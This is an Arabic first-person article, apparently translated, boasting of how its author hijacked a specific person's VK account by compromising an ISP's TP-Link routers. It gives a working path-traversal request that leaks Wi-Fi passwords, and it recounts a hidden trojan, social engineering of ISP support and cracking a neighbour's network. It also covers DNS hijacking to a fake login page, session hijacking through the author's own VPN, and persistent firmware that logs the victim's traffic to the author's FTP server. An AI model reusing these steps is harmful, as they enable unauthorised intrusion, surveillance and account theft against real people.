في الواقع ، ستناقش هذه المقالة ليس فقط نقاط الضعف في أجهزة التوجيه TP-LINK ، ولكن أيضًا كيفية إنشاء محطة اختراق عن بُعد من أجهزة التوجيه هذه وما يمكن تحقيقه من خلال ذلك. وكذلك القليل عن كيفية تطبيقه للوصول إلى صفحة فكونتاكتي. هذا هو نوع من قصة اختراق كبير واحد ، يشمل كل ما سبق.استغرق الأمر مرة واحدة للوصول إلى صفحة VK لشخص واحد ، بينما كان غير مرئي قدر الإمكان للمستخدم ، وبدأت في البحث عن طرق. أول شيء حدث لي هو إسقاط حصان طروادة إلى الضحية ، لأنني قد أعددت بالفعل TightVNC مخفيًا مع اتصال خلفي لمشغل IP + المخفي VLC الخاص بي ، والذي ينقل الصوت من الميكروفون في الوقت الفعلي إلى IP الخاص بي أيضًا. ومع ذلك ، لم يتم تعريفها على الإطلاق على أنها برامج ضارة على VirusTotal. لكن المقالة ليست عن ذلك على الإطلاق. ونتيجة لذلك ، تمكنت من الحصول على حصان طروادة ، وكذلك الوصول إلى VK (فقط عن طريق نسخ ملفات تعريف الارتباط من متصفح الضحية) ، ولكن سرعان ما تم إعادة تثبيت نظام التشغيل على جهاز الكمبيوتر الخاص بالمستخدم ، واضطررت للبحث عن طريقة أخرى.الشيء الوحيد الذي عرفته هو مقدم الخدمة الذي كان لدى الضحية. حسنًا ، لقد بدأت بمسح النطاق الكامل لهذا المزود سيئ السمعة للمدينة N (لأسباب واضحة ، لن أتصل بالموفر) ، واكتشفت شيئًا رائعًا: المنفذ 8080 مفتوح على معظم المضيفين. أصبح من الواضح على الفور أن هذه واجهة ويب جهاز التوجيه. كنت آمل بالفعل أن يكون المشرف الإداري الافتراضي (عندئذٍ سيكون انهيارًا كاملاً للموفر) ، ولكن لا ، لم أتمكن من العثور على كلمة المرور ، على الرغم من أنني ما زلت أجد حوالي عشرة أجهزة توجيه حيث كانت كلمة المرور الافتراضية. اتضح أن 90 ٪ من جميع أجهزة التوجيه هي TP-Link TL-WR741ND وأقل من 740N ، 841N ، 941ND.
كل شيء واضح جدًا هنا: يستأجر الموفر نفس أجهزة التوجيه للمستخدمين ، ويهيئها أثناء التثبيت ، ويكون كسولًا للغاية بالنسبة للمستخدمين لتغيير هذه الإعدادات. أصبح أكثر وأكثر إثارة للاهتمام. بالتأكيد في هذه الحالة ، يجب أن يكون هناك بعض النمط في الإعداد ، أي أن كلمات المرور هي نفسها على الأرجح. قررت البحث في جوجل إذا كان هناك أي نقاط ضعف في هذه النماذج ، ولدهشتي في ذلك الوقت ، وجدت الكثير منها. أول ما لفت نظري هو مقالة "مستتر في موجهات TP-LINK" .قررت على الفور للتحقق من هذه الثغرة الأمنية. تم تحميل الملفات إلى جهاز التوجيه ، لكنه لم يقبلها ، ثم بدأت أفكر في ما يدور حوله هذا nart.out. هذا هو MIPS ثنائي ، والذي في جوهره يمكن أن يكون أي تطبيق ، تحتاج فقط إلى بنائه. بادئ ذي بدء ، بدأت في البحث عن نسخة جاهزة ، لأنه في السابق لم يكن عليّ أبدًا التعامل مع الترجمة المتقاطعة. لدهشتي ، في تلك اللحظة فقط كان هناك شخص آخر مهتمًا بهذه المشكلة: Specx2 (أوصي ، بالمناسبة ، بقراءة مقالتهحول كيفية تجميع محطة اختراق من جهاز توجيه ، وهو ما فعلته في النهاية ، عن بُعد فقط). تمكن من العثور على netcat تم تجميعه تحت MIPS في أحد المنتديات الصينية ، بالمناسبة ، بالضبط في القسم الذي تمت فيه مناقشة هذه الثغرة الأمنية. تم إطلاق هذا البرنامج الثنائي بنجاح تحت QEMU ، وتم سكبه بنجاح في جهاز التوجيه من خلال الباب الخلفي الذي تم العثور عليه ، ولكن لسبب ما ، لم يكن من الممكن الاتصال بجهاز التوجيه: لم يكن لديه اتصال. اقترح الرفيق Specx2 أن النقطة قد تكون أن المنفذ 2222 قد يكون مغلقًا ببساطة ، وتحتاج إلى تشغيل netcat بطريقة أو بأخرى على منفذ آخر.حاولنا ترجمة netcat لـ MIPS بأنفسنا ، لكننا فشلنا في تعيين خيار المنفذ الافتراضي. بعد ذلك ، استخدمنا أداة تفكيك ، ولكن دون جدوى. ثم قررت فتح هذا الثنائي مع Notepad ++ المعتاد ، ولدهشتي ، وجدت 2222 مرغوبًا هناك. يمكن بسهولة تغيير هذا الرقم إلى أي رقم آخر ، الشيء الرئيسي هو أن عدد الأحرف في الملف لا يتغير. لقد تغير المنفذ حقًا ، وتم اختبار كل شيء على QEMU ، ولكن لا يزال يتعذر علينا تشغيله على جهاز التوجيه.لم أتنازل عن محاولاتي للسيطرة على جهاز التوجيه وبدأت في البحث عن نقاط ضعف أخرى. سرعان ما جئت عبر هذا المنصب . وبالفعل: في طرازات 841 و 941 كان هناك قذيفة في/userRpmNatDebugRpm26525557/linux_cmdline.html
هنا فقط لا تزال هناك حاجة إلى معرفة كلمة المرور من جهاز التوجيه ، وكان لدى مستخدمي هذا المزود بشكل أساسي 741 طرازًا. تمكنت من العثور على جهاز توجيه بكلمة مرور افتراضية وهذه القشرة ، وإن كانت مبتورة للغاية. وهكذا ، حصلت على الوصول إلى نظام الملفات الخاص بالموجه. لسوء الحظ ، لم أتمكن من العثور على أي شيء ذي قيمة ، ولم تعمل القشرة بشكل صحيح. هل يفعل المطورون حقًا التصحيح من خلاله؟بدا الأمر وكأنه طريق مسدود ، ولم يكن لديّ فكرة واحدة لفترة طويلة ، لكن شيئًا ما أخبرني أنه لا تزال هناك نقاط ضعف. ثم اكتشفت أن جهاز التوجيه لا يقوم بتصفية طلبات GET. أي ، بشكل افتراضي ، عندما يتم إدخال كلمة المرور بشكل غير صحيح ، تفتح صفحة / help ، ولكن إذا قمنا ، على سبيل المثال ، بتقديم هذا الطلب:GET IP:port/help/../../
ثم سنصل إلى جذر نظام ملفات جهاز التوجيه. وبالتالي ، يمكننا تنزيل أي ملف تقريبًا من جهاز التوجيه FS دون معرفة كلمة المرور. وقد تبين أن هذا هو أول ثغرة عمل ناجحة لكل ما وجدته. ولكن ماذا يعطينا إذا كان بإمكاننا فقط تنزيل الملفات ولا نعرف مكان تخزين كلمة المرور؟بعد بحث قصير ، تمكنت من العثور على ملف مثير للاهتمام على /tmp/ath0.ap_bss ، والذي يخزن كلمة المرور لشبكة Wi-Fi بشكل واضح. قررت على الفور التحقق من ذلك على أحد أجهزة توجيه مستخدمي هذا المزود.GET IP:8080/help/../../tmp/ath0.ap_bss
كما اتضح ، يعمل الناس هناك كسالى تمامًا ، ويضعون نفس كلمات المرور على واجهة الويب الخاصة بالموجه و Wi-Fi ، لذلك عندما نتعلم كلمة مرور Wi-Fi باستخدام هذه الثغرة الأمنية ، سنتعرف تلقائيًا على كلمة المرور من واجهة الويب. يتكون هذا عادةً من 8 أرقام. أقل شيوعًا ، الأرقام التي تحتوي على أحرف. مرة أخرى ، 8. من الآن فصاعدًا ، يمكنني الوصول إلى جهاز التوجيه لأي مستخدم تقريبًا لم يغير كلمة المرور التي حددها الموفر ، وعمليًا لم يغيرها أحد. صحيح أن بعض أجهزة التوجيه لا تزال تحتوي على أحدث إصدار من البرامج الثابتة ، ولم تنجح هذه الثغرة الأمنية ، ولكن لم يكن هناك الكثير منها. على الفور اكتشفت نقطة أخرى مثيرة للاهتمام. يحتوي SSID لجميع النقاط على النصف الثاني من عنوان IP الداخلي للمستخدم ، والأول هو نفسه للجميع. اتضح أنه كما هو الحال في الحساب الشخصي على الموقع ، كانت كلمة المرور نفسها.وكان النصف الثاني من عنوان IP الداخلي هو رقم العقد. أي أنه من خلال رقم اتفاقية المستخدم ، كان من الممكن حساب IP الداخلي.على الرغم من حقيقة أن جميع المستخدمين لديهم عنوان IP خارجي حقيقي (وإن كان ديناميكيًا) ، فقد قررت رفع خادم VPN على العديد من أجهزة توجيه ASUS ، حيث توجد كلمة مرور افتراضية. لحسن الحظ ، تم خياطة هذه الميزة في البرامج الثابتة الافتراضية. وهكذا ، تمكنت من الوصول إلى الشبكة الداخلية لمزود الخدمة.ولكن قبل اختراق VK كان لا يزال بعيدًا. لم أكن أعرف حتى ضحية الملكية الفكرية. لا خارجي ولا داخلي. هناك العديد من الطرق لمعرفة IP الخارجي ، وقد قمت بذلك. حسنًا ، لنبدأ في الدراسة. أولاً ، أجاب على طلبات ping ، وهو أمر جيد بالفعل. ثانيًا ، علمت أن الضحية كان لديها أيضًا جهاز توجيه (يمكن أن يفهم هذا أيضًا TTL ، لأن الغالبية العظمى من المستخدمين لديهم Windows ، و TTL الافتراضي لـ Windows هو 128) ، مع نفس الطراز بالتأكيد. ولكن ، للأسف الشديد ، تم إغلاق جميع منافذ الضحية ، ولم يكن هناك وصول إلى خادم الويب من الخارج. لكنني كنت أعلم أنه على أي حال يكون عبر شبكة LAN ، ولكن لهذا نحن بحاجة إلى الاتصال بجهاز التوجيه هذا عبر واجهة لاسلكية ، وكذلك التقاط كلمة المرور للوحة المشرف ، والتي ستكون مشكلة كبيرة ، لأنني لم أتمكن من العثور عليها في ذلك الوقت حيث يتم تخزينها. على الرغم من أنني الآن أعرف بالفعلما الذي يتم تخزينه فيه/ dev / mtdblock3 ، ولكن لم يتم تحميل هذه الكتلة ، لذا من المستحيل قراءتها من خلال الثغرة الأمنية الموصوفة.تعلمت أيضًا أن تسجيل الدخول من اتصال VPN للوصول إلى الإنترنت هي الأحرف الأولى والأسماء الخاصة بالمستخدم أو جزء منه ، وكلمة المرور هي نفسها. بدأت أفكر ، كيف يمكنني العثور على المستخدم الذي أحتاج إليه؟ ربما ما زلت أخطأ في تحديد IP في ذلك الوقت ، وتمكنت بالفعل من التغيير بينما حاولت الاتصال ب webmord؟ كان أول شيء يتبادر إلى الذهن تعدادًا بسيطًا لجميع أجهزة التوجيه. لكن عدد المشتركين في المزود كبير جدًا. بعد مسح النطاق بالكامل ، وجدت حوالي 3000 جهاز توجيه مع وصول عن بعد إلى واجهة الويب. وكان من الضروري أن نجد بينهم بطريقة أو بأخرى ما هو صحيح ، إن وجد.أولاً ، حاولت كتابة برنامج نصي يتعرف على كلمة المرور باستخدام الثغرة الأمنية الموجودة ، ثم أنزل صفحة إعداد الشبكة واحفظها. لكني ضعيف في هذا ، وبعد تجاهل هذه الفكرة بعد فترة ، قررت استخدام أداة نقر عادية. مع الحزن إلى النصف ، قمت (أو بالأحرى ، الفرس) بمعالجة النطاق بأكمله. بعد ذلك ، بحثت في ملفات الإعدادات (على أمل العثور على الضحية بالاسم الأخير في تسجيل الدخول من اتصال VPN) ، لكنني لم أجد أي شيء أحتاجه.لقد بدأت في البحث أكثر ووجدت أن أي جهاز توجيه مخترق يمكنه مسح نقاط الوصول المحيطة به من خلال واجهة على الويب. وبالتالي ، كانت لدي فكرة مجنونة: كسر جارة الضحية بهذه الثغرة ، بحيث يمكنني من خلال جهاز التوجيه الخاص به محاولة اختراق كلمة مرور Wi-Fi الخاصة بالضحية ودخول واجهة الويب عبر شبكة LAN ، طالما أسافر بضعة آلاف من الكيلومترات دون ثقة في كان النجاح غير معقول ، وببساطة لم يكن هناك أي احتمال. لكن تنفيذ ما تم تصوره في ذلك الوقت بدا غير وارد. كيف تجد الجار؟تذكر أن الجزء الثاني من IP الداخلي موجود في SSID. يتزامن مع رقم العقد. سيكون من الجيد معرفة SSID لنقطة وصول المستخدم حتى تتمكن من العثور عليه. ما الذي فعلته؟ نعم ، لقد أخذتها للتو وكتبت إلى الدعم الفني للموفر ، وقدمت نفسي كمستخدم ، من المفترض أنني أريد الدفع مقابل الإنترنت ، لكنني نسيت رقم العقد. وتلقيت إجابة على الفور ، لأنني كنت أعرف الاسم والعنوان. وبالتالي ، تعرفت على عنوان IP الداخلي للضحية ، وهو بالمناسبة ثابت (لذلك ليس من المنطقي أن تحسب باستمرار الديناميكي الخارجي ، حيث يوجد وصول إلى الشبكة الداخلية عبر VPN على أحد أجهزة التوجيه المخترقة). لقد حصلت أيضًا على SSID المُقدّر لهذا المستخدم ، لذا كان لدي بالفعل شيء للعمل معه.كانت المهمة هي الذهاب إلى جميع أجهزة التوجيه على التوالي وواحدة منها للعثور على جهاز توجيه مزود بـ SSID المرغوب في المنطقة. لم تكن المهمة مرة أخرى سهلة ، ولكن تذكر أن لدينا حق الوصول إلى حسابك الشخصي ، حيث يشار إلى عنوان إقامة المستخدم. بعد إجراء العديد من التجارب ، أدركت أن هناك نمطًا معينًا بين عنوان IP الداخلي وعنوان المستخدم. أي أنه ليس من الضروري أن يكون الجيران على نفس الشبكة الفرعية ، ولكن على الأقل في البلدان المجاورة ، على سبيل المثال: 10.168.155.0 و 10.168.158.0. لذلك ، عندما وجدت المستخدم الذي يعيش بالقرب من الضحية من خلال طريقة الوخز العلمي ، بدأت في فرز جميع أجهزة التوجيه في الشبكات الفرعية المجاورة. ونتيجة لذلك ، لم أجد SSID المطلوب ، ولكني وجدت جيران بعد رؤية عنوانهما في حسابي. انفجر رأسي: كيف يمكن أن أجد ، وجدت جيرانًا ، لكن ليس لدي نقطة الوصول الصحيحة القريبة. لكنها كانت ، فقط مع SSID متغير ،وخمنت أيهما. اتضح أنه سهل.غرامة! تم العثور على جهاز التوجيه ، مثل جيرانه ، بعد أن أمضى الكثير من الوقت في ذلك. ماذا بعد؟ نحتاج إلى الحصول على كلمة المرور بطريقة أو بأخرى من الشبكة اللاسلكية ، ولكن لهذا السبب نحتاج إما اعتراض المصافحة والتقاط كلمة المرور منها (الحماية هي WPA2-PSK) ، أو التقاط رمز WPS PIN ، لأن WPS ممكّن افتراضيًا ، ولكن على معظم أجهزة التوجيه تم حظره بعد 10 محاولات غير صالحة. كيف نطبق بعضًا من هذا على الأقل؟ في الواقع ، على أجهزة التوجيه الخاصة بالجيران لا يوجد برنامج متخصص. ثم جاءت الفكرة لإعادة تحميل أجهزة راوتر OpenWRT الخاصة بهم ، لأن هذا البرنامج الثابت هو الأقرب إلى Linux الحقيقي ، وهناك أيضًا حزم aircrack-ng و reaver والعديد من الحزم الأخرى لذلك. الرفيق Specx2حتى اجتمع الفتوة تحته. كانت هناك مشكلة واحدة فقط: كيف تعيد تحميل الموجه عن بعد ولا تفقد الوصول إليه؟ بعد كل شيء ، بعد وميض ، يتم إعادة تعيين كافة الإعدادات إلى الافتراضي.لقد تعذبت مع هذه المشكلة لفترة طويلة ، اعتقدت أنه كان من الضروري جمع جميع البرامج الثابتة من نقطة الصفر من المصدر وإجراء الإعدادات مسبقًا بطريقة ما ، ولكن كل شيء تبين أنه أسهل بكثير. لم أكن أعرف حتى عن وجود OpenWRT Image Builder. لقد اكتشفت ذلك بسرعة كبيرة ، ولكن كان عليّ اختيار المجموعة المناسبة من الحزم ، لأن حجم البرامج الثابتة لا يمكن أن يتجاوز 4 ميغابايت ، وهذا صغير ، نظرًا لحقيقة أن العديد يسحبون على طول قائمة كبيرة من التبعيات. كانت المشكلة التالية هي أن المستخدم لم يتمكن من الوصول إلى الإنترنت إلا بعد إنشاء اتصال VPN بخادم الموفر ، ولكن بعد ذلك ذهبت كل حركة المرور إلى النفق ، وفقدت الاتصال مع جهاز التوجيه. لذا ، جاري أن يغفر لي ، تركته بدون إنترنت. بعد وميض جهاز التوجيه الخاص به بنجاح (بعد أن تركت في السابق عشرات المستخدمين بدون إنترنت أثناء التجارب غير الناجحة) ، قمت على الفور بنقل بطاقة شبكة جهاز التوجيه إلى وضع المراقبةifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0
وأطلقت airodump-ng .airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123
لم يكن اعتراض المصافحة أمرًا صعبًا. قمت على الفور بتنزيل التفريغ من جهاز التوجيه باستخدام SCPscp –P port user@host:/tmp/123-01.cap ~/123.cap
تمت تصفيتها من الحزم غير الضرورية في Wireshark:wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol
و تحويلها إلى تنسيق .hccap لHashcat. لقد أعددت قاموسًا صغيرًا مقدمًا ، مما ساعدني في كسر العديد من الشبكات اللاسلكية ، وأضفت أيضًا جميع كلمات المرور المحتملة التي يمكن لهذا المستخدم استخدامها.oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt
لحسن الحظ ، تم العثور على كلمة المرور بعد بضع ثوان! ولكن لا يزال عليك الاتصال بالموجه بطريقة أو بأخرى في وضع العميل! عندها فقط ستتغير WAN الخاصة بجهاز توجيه الجار مرة أخرى ، وسأفقد الوصول إليها. ما زلت لا أستطيع معرفة كيفية حل هذه المشكلة ، لذلك كان علي أن أطلب من شخص ما التضحية ، وتسجيل الدخول من الهاتف وفتح الوصول عن بعد (الآن يمكنني أن أفترض أنه كان عليك فقط إضافة مسارات ثابتة إلى البرامج الثابتة مسبقًا). لحسن الحظ ، تبين أن كلمة المرور من واجهة الويب هي المشرف الإداري الافتراضي.كل شيء سار بشكل جيد! لقد أعددت بالفعل خطة عمل أخرى. على عنوان IP الحقيقي الخاص بي بدون تصفية ، رفعت خادم DNS ، حيث قمت بتغيير إدخال vk.com وقمت بتغييره إلى IP الخاص بي ، حيث تم رفع خادم HTTP مع PHP أيضًا. هناك ، وفقًا لذلك ، تمت تعبئة نسخة مزيفة بصفحة ترخيص vk.com ، وفي جهاز التوجيه تم تغيير خادم DNS لي. مستخدم ، قام بتسجيل الدخول إلى vk.com ، حصل على زيف ، وبالتالي كانت كلمة المرور لي ، وتم تحقيق الهدف!لفترة طويلة ، استخدمت هذه الطريقة للحصول على كلمة مرور ، ولكن بمجرد تشغيل تأكيد تسجيل الدخول المتبجح على vk.com ، والذي ، وفقًا لمنشئي المحتوى أنفسهم ، يكاد يكون من المستحيل التنقل. خلاصة القول هي أنه عند المصادقة من جهاز / متصفح جديد ، إذا أدخلت كلمة المرور الصحيحة ، يجب عليك أيضًا إدخال الرمز من SMS ، الذي يتم إرساله إلى رقم المالك. ولكن بالنسبة لهذه الحالة ، فقد أعددت منذ فترة طويلة نظرية لم يتم اختبارها بعد.بادئ ذي بدء ، حاولت أن أفهم كيف يحدد الخادم أن الإدخال من جهاز جديد. اتضح أن كل شيء بسيط للغاية: يتم إضافة ملف تعريف ارتباط جديد إلى المتصفح (إذا كانت ذاكرتي تخدمني ، يطلق عليها remixttpid) ، والتي يتم إرسالها فقط من خلال اتصال مشفر. وبواسطة ذلك ، يحدد الخادم بالفعل المتصفح الذي يُسمح بتسجيل الدخول منه. إذا لم أكن مخطئًا ، يجب أن يتطابق وكيل المستخدم أيضًا. وبالتالي ، يكفي أن نعترض ملف تعريف الارتباط هذا لتسجيل الدخول بنجاح باستخدام كلمة مرور معروفة ، ولكن من الصعب القيام بذلك: نحتاج إلى تمرير حركة مرور المستخدم من خلال mitmproxy ، بحيث يقوم أيضًا بتسجيل الدخول في تلك اللحظة. بالإضافة إلى ذلك ، سيلاحظ المستخدم تحذير المتصفح بشأن عدم تطابق الشهادة. فكرت لماذا يكون منحرفة جداإذا كان يمكنك فقط اعتراض جلسة حالية؟ بعد كل شيء ، يتم إجراء فحص المستعرض فقط في لحظة تسجيل الدخول ، ولكن لا يتم إجراء أي طلبات من جلسة موجودة! لذلك ، نحن بحاجة فقط لاعتراضremixsid ، الذي ، بالإضافة إلى ذلك ، ينتقل عبر اتصال غير آمن ، لأن المستخدم لا يستخدم https.كانت المشكلة فقط أن ريمكسسيديتطابق مع عنوان IP الخاص بالمستخدم ، وإذا تغير ، فسيتم أيضًا استخدام ملفات تعريف الارتباط الخاصة بـ login.vk.com ، والتي يتم نقلها فقط من خلال اتصال مشفر ، ويصعب اعتراضها. لكني محظوظ. بحلول ذلك الوقت ، بدأ الموفر في توفير الوصول إلى الإنترنت دون الحاجة إلى إنشاء اتصال VPN ، مما يعني أنه يمكنني فقط رفع خادم PPTP الخاص بي وإعداد اتصال به في إعدادات جهاز توجيه المستخدم. لذا فعلت ذلك ، مررت كل حركة المرور ، وقام المستخدم ، دون علمه ، بإنشاء جلسة مرفقة بعنوان IP الخاص بي ، والتي تم اعتراضها دون أي مشاكل. بعد ذلك ، أعيدت للتو الإعدادات السابقة واستخدم الجلسة التي تم اعتراضها (فائدة IP ثابتة). كسر حماية SMS بنجاح!كل شيء سيكون على ما يرام ، لكنني لم أتوقف عند هذا الحد. والحقيقة هي أنه إذا كان المستخدم يفهم فجأة ما هو الأمر ، فيمكنه ببساطة تغيير كلمة المرور من إعدادات جهاز التوجيه ومن Wi-Fi. لمنع ذلك ، بدأت في إنشاء OpenWRT تحت موجه مستخدم. كان من الضروري توقع كل شيء. من أجل مراقبة مريحة لحركة مرور الضحايا ، قمت بتثبيت خادم FTP كنظام ملفات باستخدام curlftpfs. مكتوب مقالب هناك. يتم وصف هذه العملية برمتها في هذه المقالة . في البداية ، خططت لتركيب السحابة كنظام ملفات ، حيث استخدمت davfs2 ، والذي لم يكن من السهل بناؤه أيضًا تحت OpenWRT، ولكن كانت المشكلة هي أن الملف قد كتب لأول مرة إلى ذاكرة التخزين المؤقت ، ثم تم سكبها فقط في السحابة. وبالتالي ، كان حجم الملف محدودًا بحجم ذاكرة التخزين المؤقت ، وهو صغير للغاية. لذلك اخترت curlftpfs. تم تسجيل حركة المرور باستخدام tcpdump وتم تقسيمها إلى ملفات 512 ميجابايت.tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &
حيث / root / ftp / dump هو نظام ملفات ftp الخاص بنا. يمكن وضع كل هذا العمل في التشغيل التلقائي (/etc/rc.local).بشكل عام ، بدت المجموعة النهائية من الحزم الخاصة بالبرنامج الثابت لـ OpenWRT Attitude Adjustment 12.09 كما يلي:make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/
تستهلك Curlftpfs معظم الذاكرة ، لكنها تعطينا مقدارًا غير محدود منها لكل ftp. يسمح لك Tcpdump بتسجيل حركة مرور الضحية على مدار الساعة ، ويتيح لك tinyproxy الوصول إلى الإنترنت من عنوان IP الخاص بالضحية ، أي من خلال اعتراض remixsid ، على سبيل المثال ، يمكننا أيضًا إدخال VK الخاص بالمستخدم من عنوان IP الخاص به باستخدام tinyproxy ، أو يمكننا ببساطة إعادة توجيه حركة المرور الخاصة به إلى الوكيل بهذه الطريقة:iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port
بشكل عام ، يمكننا توجيه حركة المرور بالكامل. يمكنك أيضًا تثبيت الحزم على نظام ملفات ftp مركب ، لذلك نستخدم opkg –dest ، بعد تحديد اسم وعنوان نظام الملفات الخاص بنا في /etc/opkg.conf . يجب أيضًا تسجيل بقية التكوين مسبقًا في الملفات المناسبة./etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
.
يجب تحضير جميع هذه الملفات مسبقًا لتضمينها في البرنامج الثابت. في الواقع ، ماذا يمنحنا هذا بالإضافة إلى ميزات إضافية؟ لكن الحقيقة هي أن نظام ملفات سكواشس للقراءة فقط. وفقًا لذلك ، لن يتمكن المستخدم من تغيير الإعدادات الافتراضية التي قمت بتعيينها بأي شكل من الأشكال. مع كل إرادته ، حتى من خلال telnet ، لن يتمكن من الاتصال ، لأنه في rc.local ، الذي يتم خياطته في البرامج الثابتة ، هناك خطecho –e “pass\npass” | passwd root
أي ، يتم قطع الوصول عبر telnet فورًا بعد تحميل جهاز التوجيه ، وأنا فقط لدي كلمة مرور SSH. ستفشل إعادة التعيين إلى الإعداد الافتراضي باستخدام زر مادي أيضًا هنا ، لأن الإعداد الافتراضي يتم إعداده بواسطتي وخياطته في البرنامج الثابت. تم تحقيق الهدف.فيما يتعلق بنقل جميع المستخدمين إلى IPoE في الآونة الأخيرة والتخلي عن VPN ، فإنهم جميعًا كانوا وراء NAT ، بما في ذلك أجهزة التوجيه التي كان لدي فيها VPN للوصول إلى الشبكة الداخلية للموفر. بالإضافة إلى أولئك الذين قاموا بتفعيل خدمة "Static IP" بالطبع. ولكن هناك مشكلة: يجب على أولئك الذين يريدون IP حقيقي استخدام VPN للوصول إلى الإنترنت. اضطررت إلى تعذيب نفسي وبناء OpenWRT باستخدام عميل PPTP سلكي وتكوين (ولسبب ما يعمل بشكل خاطئ حقًا) ، بالإضافة إلى خادم OpenVPN سلكي وتكوينه. توفي الكثير من أجهزة التوجيه أثناء التجارب ، ولكن تم تحقيق النتيجة في نهاية المطاف. بعد أن قمت بصب هذه البرامج الثابتة في العديد من أجهزة التوجيه (من بين القليل منها المتبقي مع IP الحقيقي) ، لدي وصول مستقر إلى الشبكة الداخلية باستخدام OpenVPN.كانت المشكلة في توصيل PPTP VPN هي أن خوادم الموفر لا تدعم التشفير. تم إصلاح ذلك عن طريق إضافة خط إلى /etc/ppp/options.pptp .nomppe
خلاف ذلك ، لم تكن عملية إعداد عميل PPTP VPN وخادم OpenVPN مختلفة عن أدلة OpenWRT.آمل أن تكون هذه المقالة مثيرة للاهتمام لشخص ما ، وسيتعلم شخص ما شيئًا جديدًا منها.UPD: كما كتب ValdikSS في التعليقات ، بدلاً من curlftpfs + tinyproxy ، يمكنك استخدام OpenSSH ، وهو أكثر وظيفية.